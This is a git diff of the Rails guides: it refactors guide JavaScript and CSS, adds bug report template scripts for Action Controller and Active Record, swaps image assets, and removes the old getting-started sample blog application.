diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
new file mode 100644
index 0000000000..fd20cd53dc
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
deleted file mode 100644
index 1eca14b988..0000000000
--- a/guides/assets/images/getting_started/unknown_action_create_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
new file mode 100644
index 0000000000..e948a51e4a
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
Binary files differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
deleted file mode 100644
index fd72586573..0000000000
--- a/guides/assets/images/getting_started/unknown_action_new_for_posts.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif
index e2c878d492..6b1af15eab 100644
--- a/guides/assets/images/header_tile.gif
+++ b/guides/assets/images/header_tile.gif
Binary files differ
diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
index f12b2a730c..09da77fc86 100644
--- a/guides/assets/images/icons/README
+++ b/guides/assets/images/icons/README
@@ -1,5 +1,5 @@
Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
-from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilities.
Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
index 9244a1ac4b..3b7b9318e7 100644
--- a/guides/assets/images/icons/callouts/11.png
+++ b/guides/assets/images/icons/callouts/11.png
Binary files differ
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
index ae56459f4c..7b95925e9d 100644
--- a/guides/assets/images/icons/callouts/12.png
+++ b/guides/assets/images/icons/callouts/12.png
Binary files differ
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
index 1181f9f892..4b99fe8efc 100644
--- a/guides/assets/images/icons/callouts/13.png
+++ b/guides/assets/images/icons/callouts/13.png
Binary files differ
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
index 39304de94f..70e4bba615 100644
--- a/guides/assets/images/icons/callouts/15.png
+++ b/guides/assets/images/icons/callouts/15.png
Binary files differ
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
index 031e19c776..7227b54b32 100644
--- a/guides/assets/images/icons/caution.png
+++ b/guides/assets/images/icons/caution.png
Binary files differ
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
index 1b0e482059..de23c0aa87 100644
--- a/guides/assets/images/icons/example.png
+++ b/guides/assets/images/icons/example.png
Binary files differ
diff --git a/guides/assets/images/jaimeiniesta.jpg b/guides/assets/images/jaimeiniesta.jpg
deleted file mode 100644
index 445f048d92..0000000000
--- a/guides/assets/images/jaimeiniesta.jpg
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png
index f61e08763f..421b62b623 100644
--- a/guides/assets/images/radar.png
+++ b/guides/assets/images/radar.png
Binary files differ
diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png
index a979f02207..b3bd5ef69e 100644
--- a/guides/assets/images/rails4_features.png
+++ b/guides/assets/images/rails4_features.png
Binary files differ
diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg
index 9eb16720a9..f068bd9a04 100644
--- a/guides/assets/images/rails_guides_kindle_cover.jpg
+++ b/guides/assets/images/rails_guides_kindle_cover.jpg
Binary files differ
diff --git a/guides/assets/images/rails_welcome.png b/guides/assets/images/rails_welcome.png
deleted file mode 100644
index 8ad2d351de..0000000000
--- a/guides/assets/images/rails_welcome.png
+++ /dev/null
Binary files differ
diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
index e21d3cabfc..fe5e4f1cb4 100644
--- a/guides/assets/images/vijaydev.jpg
+++ b/guides/assets/images/vijaydev.jpg
Binary files differ
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index 7e494fb6d8..a9c7f0d016 100644
--- a/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
@@ -1,57 +1,59 @@
-function guideMenu(){
- if (document.getElementById('guides').style.display == "none") {
- document.getElementById('guides').style.display = "block";
- } else {
- document.getElementById('guides').style.display = "none";
- }
-}
-
-$.fn.selectGuide = function(guide){
+$.fn.selectGuide = function(guide) {
$("select", this).val(guide);
-}
+};
-guidesIndex = {
- bind: function(){
+var guidesIndex = {
+ bind: function() {
var currentGuidePath = window.location.pathname;
var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
$(".guides-index-small").
on("change", "select", guidesIndex.navigate).
selectGuide(currentGuide);
- $(".more-info-button:visible").click(function(e){
+ $(document).on("click", ".more-info-button", function(e){
e.stopPropagation();
- if($(".more-info-links").is(":visible")){
+ if ($(".more-info-links").is(":visible")) {
$(".more-info-links").addClass("s-hidden").unwrap();
} else {
$(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
}
- $(document).on("click", function(e){
- var $button = $(".more-info-button");
- var element;
+ });
+ $("#guidesMenu").on("click", function(e) {
+ $("#guides").toggle();
+ return false;
+ });
+ $(document).on("click", function(e){
+ e.stopPropagation();
+ var $button = $(".more-info-button");
+ var element;
- // Cross browser find the element that had the event
- if (e.target) element = e.target;
- else if (e.srcElement) element = e.srcElement;
+ // Cross browser find the element that had the event
+ if (e.target) element = e.target;
+ else if (e.srcElement) element = e.srcElement;
- // Defeat the older Safari bug:
- // http://www.quirksmode.org/js/events_properties.html
- if (element.nodeType == 3) element = element.parentNode;
+ // Defeat the older Safari bug:
+ // http://www.quirksmode.org/js/events_properties.html
+ if (element.nodeType === 3) element = element.parentNode;
- var $element = $(element);
+ var $element = $(element);
- var $container = $element.parents(".more-info-container");
+ var $container = $element.parents(".more-info-container");
- // We've captured a click outside the popup
- if($container.length == 0){
- $container = $button.next(".more-info-container");
- $container.find(".more-info-links").addClass("s-hidden").unwrap();
- $(document).off("click");
- }
- });
+ // We've captured a click outside the popup
+ if($container.length === 0){
+ $container = $button.next(".more-info-container");
+ $container.find(".more-info-links").addClass("s-hidden").unwrap();
+ }
});
},
navigate: function(e){
var $list = $(e.target);
- url = $list.val();
+ var url = $list.val();
window.location = url;
}
-}
+};
+
+// Disable autolink inside example code blocks of guides.
+$(document).ready(function() {
+ SyntaxHighlighter.defaults['auto-links'] = false;
+ SyntaxHighlighter.all();
+});
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
index 589c96e0e9..318a1ef1c7 100644
--- a/guides/assets/stylesheets/main.css
+++ b/guides/assets/stylesheets/main.css
@@ -83,6 +83,10 @@ table th {
padding: 0.5em 1em;
}
+img {
+ max-width: 100%;
+}
+
/* Structure and Layout
--------------------------------------- */
@@ -125,6 +129,7 @@ body {
font-family: Helvetica, Arial, Sans-Serif;
text-decoration: none;
vertical-align: middle;
+ cursor: pointer;
}
.red-button:active {
border-top: none;
@@ -240,7 +245,7 @@ body {
#subCol {
position: absolute;
z-index: 0;
- top: 0;
+ top: 21px;
right: 0;
background: #FFF;
padding: 1em 1.5em 1em 1.25em;
@@ -376,9 +381,12 @@ a, a:link, a:visited {
font: inherit;
padding-left: .75em;
font-size: .95em;
- background-position: 96% -65px;
+ background-position: 96% 16px;
-webkit-appearance: none;
}
+ .guides-index-small .guides-index-item:hover{
+ background-position: 96% -65px;
+ }
}
#guides {
@@ -573,7 +581,7 @@ h6 {
#mainCol div.warning, #subCol dd.warning {
background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
border: none;
- padding: 1.25em 1.25em 1.25em 48px;
+ padding: 1.25em 1.25em 0.25em 48px;
margin-left: 0;
margin-top: 0.25em;
}
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
index 628da105d4..bdc8ec948d 100644
--- a/guides/assets/stylesheets/print.css
+++ b/guides/assets/stylesheets/print.css
@@ -36,7 +36,7 @@ hr {
}
h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
-code { font:.9em "Courier New", Monaco, Courier, monospace; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline}
img { float:left; margin:1.5em 1.5em 1.5em 0; }
a img { border:none; }
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
new file mode 100644
index 0000000000..1f0cec1e22
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -0,0 +1,47 @@
+# Activate the gem you are reporting the issue against.
+gem 'rails', '4.0.0'
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+ config.root = File.dirname(__FILE__)
+ config.session_store :cookie_store, key: 'cookie_store_key'
+ secrets.secret_token = 'secret_token'
+ secrets.secret_key_base = 'secret_key_base'
+
+ config.logger = Logger.new($stdout)
+ Rails.logger = config.logger
+
+ routes.draw do
+ get '/' => 'test#index'
+ end
+end
+
+class TestController < ActionController::Base
+ include Rails.application.routes.url_helpers
+
+ def index
+ render text: 'Home'
+ end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
+ include Rack::Test::Methods
+
+ def test_returns_success
+ get '/'
+ assert last_response.ok?
+ end
+
+ private
+ def app
+ Rails.application
+ end
+end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
new file mode 100644
index 0000000000..0e51eaa0db
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -0,0 +1,56 @@
+unless File.exist?('Gemfile')
+ File.write('Gemfile', <<-GEMFILE)
+ source 'https://rubygems.org'
+ gem 'rails', github: 'rails/rails'
+ gem 'arel', github: 'rails/arel'
+ gem 'rack', github: 'rack/rack'
+ gem 'i18n', github: 'svenfuchs/i18n'
+ GEMFILE
+
+ system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+ config.root = File.dirname(__FILE__)
+ config.session_store :cookie_store, key: 'cookie_store_key'
+ secrets.secret_token = 'secret_token'
+ secrets.secret_key_base = 'secret_key_base'
+
+ config.logger = Logger.new($stdout)
+ Rails.logger = config.logger
+
+ routes.draw do
+ get '/' => 'test#index'
+ end
+end
+
+class TestController < ActionController::Base
+ include Rails.application.routes.url_helpers
+
+ def index
+ render text: 'Home'
+ end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+class BugTest < Minitest::Test
+ include Rack::Test::Methods
+
+ def test_returns_success
+ get '/'
+ assert last_response.ok?
+ end
+
+ private
+ def app
+ Rails.application
+ end
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
new file mode 100644
index 0000000000..d72633d0b2
--- /dev/null
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -0,0 +1,40 @@
+# Activate the gem you are reporting the issue against.
+gem 'activerecord', '4.0.0'
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+ create_table :posts do |t|
+ end
+
+ create_table :comments do |t|
+ t.integer :post_id
+ end
+end
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
+class BugTest < Minitest::Test
+ def test_association_stuff
+ post = Post.create!
+ post.comments << Comment.create!
+
+ assert_equal 1, post.comments.count
+ assert_equal 1, Comment.count
+ assert_equal post.id, Comment.first.post.id
+ end
+end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
new file mode 100644
index 0000000000..e7f5d0d5ff
--- /dev/null
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -0,0 +1,51 @@
+unless File.exist?('Gemfile')
+ File.write('Gemfile', <<-GEMFILE)
+ source 'https://rubygems.org'
+ gem 'rails', github: 'rails/rails'
+ gem 'arel', github: 'rails/arel'
+ gem 'rack', github: 'rack/rack'
+ gem 'i18n', github: 'svenfuchs/i18n'
+ gem 'sqlite3'
+ GEMFILE
+
+ system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+ create_table :posts do |t|
+ end
+
+ create_table :comments do |t|
+ t.integer :post_id
+ end
+end
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
+
+class BugTest < Minitest::Test
+ def test_association_stuff
+ post = Post.create!
+ post.comments << Comment.create!
+
+ assert_equal 1, post.comments.count
+ assert_equal 1, Comment.count
+ assert_equal post.id, Comment.first.post.id
+ end
+end
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
deleted file mode 100644
index 670a8523b0..0000000000
--- a/guides/code/getting_started/Gemfile
+++ /dev/null
@@ -1,38 +0,0 @@
-source 'https://rubygems.org'
-
-gem 'rails', '3.2.3'
-
-# Bundle edge Rails instead:
-# gem 'rails', :git => 'git://github.com/rails/rails.git'
-
-gem 'sqlite3'
-
-
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
- gem 'sass-rails', '~> 3.2.3'
- gem 'coffee-rails', '~> 3.2.1'
-
- # See https://github.com/sstephenson/execjs#readme for more supported runtimes
- # gem 'therubyracer', :platform => :ruby
-
- gem 'uglifier', '>= 1.0.3'
-end
-
-gem 'jquery-rails'
-
-# To use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.0.0'
-
-# To use Jbuilder templates for JSON
-# gem 'jbuilder'
-
-# Use unicorn as the app server
-# gem 'unicorn'
-
-# Deploy with Capistrano
-# gem 'capistrano'
-
-# To use debugger
-# gem 'debugger'
diff --git a/guides/code/getting_started/README.rdoc b/guides/code/getting_started/README.rdoc
deleted file mode 100644
index b5d7b6436b..0000000000
--- a/guides/code/getting_started/README.rdoc
+++ /dev/null
@@ -1,259 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the Model-View-Control pattern.
-
-This pattern splits the view (also called the presentation) into "dumb"
-templates that are primarily responsible for inserting pre-built data in between
-HTML tags. The model contains the "smart" domain objects (such as Account,
-Product, Person, Post) that holds all the business logic and knows how to
-persist themselves to a database. The controller handles the incoming requests
-(such as Save New Account, Update Product, Show Post) by manipulating the model
-and directing data to the view.
-
-In Rails, the model is handled by what's called an object-relational mapping
-layer entitled Active Record. This layer allows you to present the data from
-database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in
-link:files/vendor/rails/activerecord/README.html.
-
-The controller and view are handled by the Action Pack, which handles both
-layers by its two parts: Action View and Action Controller. These two layers
-are bundled in a single package due to their heavy interdependence. This is
-unlike the relationship between the Active Record and Action Pack that is much
-more separate. Each of these packages can be used independently outside of
-Rails. You can read more about Action Pack in
-link:files/vendor/rails/actionpack/README.html.
-
-
-== Getting Started
-
-1. At the command prompt, create a new Rails application:
- <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
-
-2. Change directory to <tt>myapp</tt> and start the web server:
- <tt>cd myapp; rails server</tt> (run with --help for options)
-
-3. Go to http://localhost:3000/ and you'll see:
- "Welcome aboard: You're riding Ruby on Rails!"
-
-4. Follow the guidelines to start developing your application. You can find
-the following resources handy:
-
-* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
-* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
-
-
-== Debugging Rails
-
-Sometimes your application goes wrong. Fortunately there are a lot of tools that
-will help you debug it and get it back on the rails.
-
-First area to check is the application log files. Have "tail -f" commands
-running on the server.log and development.log. Rails will automatically display
-debugging and runtime information to these files. Debugging info will also be
-shown in the browser on requests from 127.0.0.1.
-
-You can also log your own messages directly into the log file from your code
-using the Ruby logger class from inside your controllers. Example:
-
- class WeblogController < ActionController::Base
- def destroy
- @weblog = Weblog.find(params[:id])
- @weblog.destroy
- logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
- end
- end
-
-The result will be a message in your log file along the lines of:
-
- Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
-
-More information on how to use the logger is at http://www.ruby-doc.org/core/
-
-Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
-several books available online as well:
-
-* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
-* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
-
-These two books will bring you up to speed on the Ruby language and also on
-programming in general.
-
-
-== Debugger
-
-Debugger support is available through the debugger command when you start your
-Mongrel or WEBrick server with --debugger. This means that you can break out of
-execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install the 'debugger' gem to run the server in debugging
-mode. Add gem 'debugger' to your Gemfile and run <tt>bundle</tt> to install it. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.all
- debugger
- end
- end
-
-So the controller will accept the action, run the first line, then present you
-with a IRB prompt in the server window. Here you can do things like:
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8
- @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
- #<Post:0x14a6620
- @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
- >> @posts.first.title = "hello from a debugger"
- => "hello from a debugger"
-
-...and even better, you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
-Finally, when you're ready to resume execution, you can enter "cont".
-
-
-== Console
-
-The console is a Ruby shell, which allows you to interact with your
-application's domain model. Here you'll have all parts of the application
-configured, just like it is when the application is running. You can inspect
-domain models, change values, and save to the database. Starting the script
-without arguments will launch it in the development environment.
-
-To start the console, run <tt>rails console</tt> from the application
-directory.
-
-Options:
-
-* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
- made to the database.
-* Passing an environment name as an argument will load the corresponding
- environment. Example: <tt>rails console production</tt>.
-
-To reload your controllers and models after launching the console run
-<tt>reload!</tt>
-
-More information about irb can be found at:
-link:http://www.rubycentral.org/pickaxe/irb.html
-
-
-== dbconsole
-
-You can go to the command line of your database directly through <tt>rails
-dbconsole</tt>. You would be connected to the database with the credentials
-defined in database.yml. Starting the script without arguments will connect you
-to the development database. Passing an argument will connect you to a different
-database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
-PostgreSQL and SQLite 3.
-
-== Description of Contents
-
-The default directory structure of a generated Ruby on Rails application:
-
- |-- app
- | |-- assets
- | |-- images
- | |-- javascripts
- | `-- stylesheets
- | |-- controllers
- | |-- helpers
- | |-- mailers
- | |-- models
- | `-- views
- | `-- layouts
- |-- config
- | |-- environments
- | |-- initializers
- | `-- locales
- |-- db
- |-- doc
- |-- lib
- | `-- tasks
- |-- log
- |-- public
- |-- script
- |-- test
- | |-- fixtures
- | |-- functional
- | |-- integration
- | |-- performance
- | `-- unit
- |-- tmp
- | |-- cache
- | |-- pids
- | |-- sessions
- | `-- sockets
- `-- vendor
- |-- assets
- `-- stylesheets
-
-app
- Holds all the code that's specific to this particular application.
-
-app/assets
- Contains subdirectories for images, stylesheets, and JavaScript files.
-
-app/controllers
- Holds controllers that should be named like weblogs_controller.rb for
- automated URL mapping. All controllers should descend from
- ApplicationController which itself descends from ActionController::Base.
-
-app/models
- Holds models that should be named like post.rb. Models descend from
- ActiveRecord::Base by default.
-
-app/views
- Holds the template files for the view that should be named like
- weblogs/index.html.erb for the WeblogsController#index action. All views use
- eRuby syntax by default.
-
-app/views/layouts
- Holds the template files for layouts to be used with views. This models the
- common header/footer method of wrapping views. In your views, define a layout
- using the <tt>layout :default</tt> and create a file named default.html.erb.
- Inside default.html.erb, call <% yield %> to render the view using this
- layout.
-
-app/helpers
- Holds view helpers that should be named like weblogs_helper.rb. These are
- generated for you automatically when using generators for controllers.
- Helpers can be used to wrap functionality for your views into methods.
-
-config
- Configuration files for the Rails environment, the routing map, the database,
- and other dependencies.
-
-db
- Contains the database schema in schema.rb. db/migrate contains all the
- sequence of Migrations for your schema.
-
-doc
- This directory is where your application documentation will be stored when
- generated using <tt>rake doc:app</tt>
-
-lib
- Application specific libraries. Basically, any kind of custom code that
- doesn't belong under controllers, models, or helpers. This directory is in
- the load path.
-
-public
- The directory available for the web server. Also contains the dispatchers and the
- default HTML files. This should be set as the DOCUMENT_ROOT of your web
- server.
-
-script
- Helper scripts for automation and generation.
-
-test
- Unit and functional tests along with fixtures. When using the rails generate
- command, template test files will be generated for you and placed in this
- directory.
-
-vendor
- External libraries that the application depends on. If the app has frozen rails,
- those gems also go here, under vendor/rails/. This directory is in the load path.
diff --git a/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
deleted file mode 100644
index e1d1ec8615..0000000000
--- a/guides/code/getting_started/Rakefile
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env rake
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
-
-require File.expand_path('../config/application', __FILE__)
-
-Blog::Application.load_tasks
diff --git a/guides/code/getting_started/app/assets/images/rails.png b/guides/code/getting_started/app/assets/images/rails.png
deleted file mode 100644
index d5edc04e65..0000000000
--- a/guides/code/getting_started/app/assets/images/rails.png
+++ /dev/null
Binary files differ
diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js
deleted file mode 100644
index 93cdae76ca..0000000000
--- a/guides/code/getting_started/app/assets/javascripts/application.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// This is a manifest file that'll be compiled into application.js, which will include all the files
-// listed below.
-//
-// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
-//
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// compiled file.
-//
-// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
-// GO AFTER THE REQUIRES BELOW.
-//
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
diff --git a/guides/code/getting_started/app/assets/stylesheets/application.css b/guides/code/getting_started/app/assets/stylesheets/application.css
deleted file mode 100644
index 3b5cc6648e..0000000000
--- a/guides/code/getting_started/app/assets/stylesheets/application.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/*
- * This is a manifest file that'll be compiled into application.css, which will include all the files
- * listed below.
- *
- * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
- *
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
- *
- *= require_self
- *= require_tree .
-*/
diff --git a/guides/code/getting_started/app/controllers/application_controller.rb b/guides/code/getting_started/app/controllers/application_controller.rb
deleted file mode 100644
index e8065d9505..0000000000
--- a/guides/code/getting_started/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ApplicationController < ActionController::Base
- protect_from_forgery
-end
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
deleted file mode 100644
index cf3d1be42e..0000000000
--- a/guides/code/getting_started/app/controllers/comments_controller.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-class CommentsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
-
- def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
- end
-
- def destroy
- @post = Post.find(params[:post_id])
- @comment = @post.comments.find(params[:id])
- @comment.destroy
- redirect_to post_path(@post)
- end
-
-end
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
deleted file mode 100644
index a8ac9aba5a..0000000000
--- a/guides/code/getting_started/app/controllers/posts_controller.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-class PostsController < ApplicationController
-
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
-
- def index
- @posts = Post.all
- end
-
- def show
- @post = Post.find(params[:id])
- end
-
- def new
- @post = Post.new
- end
-
- def create
- @post = Post.new(params[:post])
-
- if @post.save
- redirect_to :action => :show, :id => @post.id
- else
- render 'new'
- end
- end
-
- def edit
- @post = Post.find(params[:id])
- end
-
- def update
- @post = Post.find(params[:id])
-
- if @post.update_attributes(params[:post])
- redirect_to :action => :show, :id => @post.id
- else
- render 'edit'
- end
- end
-
- def destroy
- @post = Post.find(params[:id])
- @post.destroy
-
- redirect_to :action => :index
- end
-end
diff --git a/guides/code/getting_started/app/controllers/welcome_controller.rb b/guides/code/getting_started/app/controllers/welcome_controller.rb
deleted file mode 100644
index f9b859b9c9..0000000000
--- a/guides/code/getting_started/app/controllers/welcome_controller.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class WelcomeController < ApplicationController
- def index
- end
-end
diff --git a/guides/code/getting_started/app/helpers/application_helper.rb b/guides/code/getting_started/app/helpers/application_helper.rb
deleted file mode 100644
index de6be7945c..0000000000
--- a/guides/code/getting_started/app/helpers/application_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module ApplicationHelper
-end
diff --git a/guides/code/getting_started/app/helpers/comments_helper.rb b/guides/code/getting_started/app/helpers/comments_helper.rb
deleted file mode 100644
index 0ec9ca5f2d..0000000000
--- a/guides/code/getting_started/app/helpers/comments_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module CommentsHelper
-end
diff --git a/guides/code/getting_started/app/helpers/posts_helper.rb b/guides/code/getting_started/app/helpers/posts_helper.rb
deleted file mode 100644
index a7b8cec898..0000000000
--- a/guides/code/getting_started/app/helpers/posts_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module PostsHelper
-end
diff --git a/guides/code/getting_started/app/helpers/welcome_helper.rb b/guides/code/getting_started/app/helpers/welcome_helper.rb
deleted file mode 100644
index eeead45fc9..0000000000
--- a/guides/code/getting_started/app/helpers/welcome_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module WelcomeHelper
-end
diff --git a/guides/code/getting_started/app/models/comment.rb b/guides/code/getting_started/app/models/comment.rb
deleted file mode 100644
index 4e76c5b5b0..0000000000
--- a/guides/code/getting_started/app/models/comment.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Comment < ActiveRecord::Base
- belongs_to :post
-end
diff --git a/guides/code/getting_started/app/models/post.rb b/guides/code/getting_started/app/models/post.rb
deleted file mode 100644
index 21387340b0..0000000000
--- a/guides/code/getting_started/app/models/post.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-class Post < ActiveRecord::Base
- validates :title, :presence => true,
- :length => { :minimum => 5 }
-
- has_many :comments, :dependent => :destroy
-end
diff --git a/guides/code/getting_started/app/views/comments/_comment.html.erb b/guides/code/getting_started/app/views/comments/_comment.html.erb
deleted file mode 100644
index 3d2bc1590e..0000000000
--- a/guides/code/getting_started/app/views/comments/_comment.html.erb
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- <strong>Commenter:</strong>
- <%= comment.commenter %>
-</p>
-
-<p>
- <strong>Comment:</strong>
- <%= comment.body %>
-</p>
-
-<p>
- <%= link_to 'Destroy Comment', [comment.post, comment],
- :method => :delete,
- :data => { :confirm => 'Are you sure?' } %>
-</p>
diff --git a/guides/code/getting_started/app/views/comments/_form.html.erb b/guides/code/getting_started/app/views/comments/_form.html.erb
deleted file mode 100644
index 00cb3a08f0..0000000000
--- a/guides/code/getting_started/app/views/comments/_form.html.erb
+++ /dev/null
@@ -1,13 +0,0 @@
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <p>
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </p>
- <p>
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </p>
- <p>
- <%= f.submit %>
- </p>
-<% end %>
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
deleted file mode 100644
index 6578a41da2..0000000000
--- a/guides/code/getting_started/app/views/layouts/application.html.erb
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>Blog</title>
- <%= stylesheet_link_tag "application", :media => "all" %>
- <%= javascript_include_tag "application" %>
- <%= csrf_meta_tags %>
-</head>
-<body>
-
-<%= yield %>
-
-</body>
-</html>
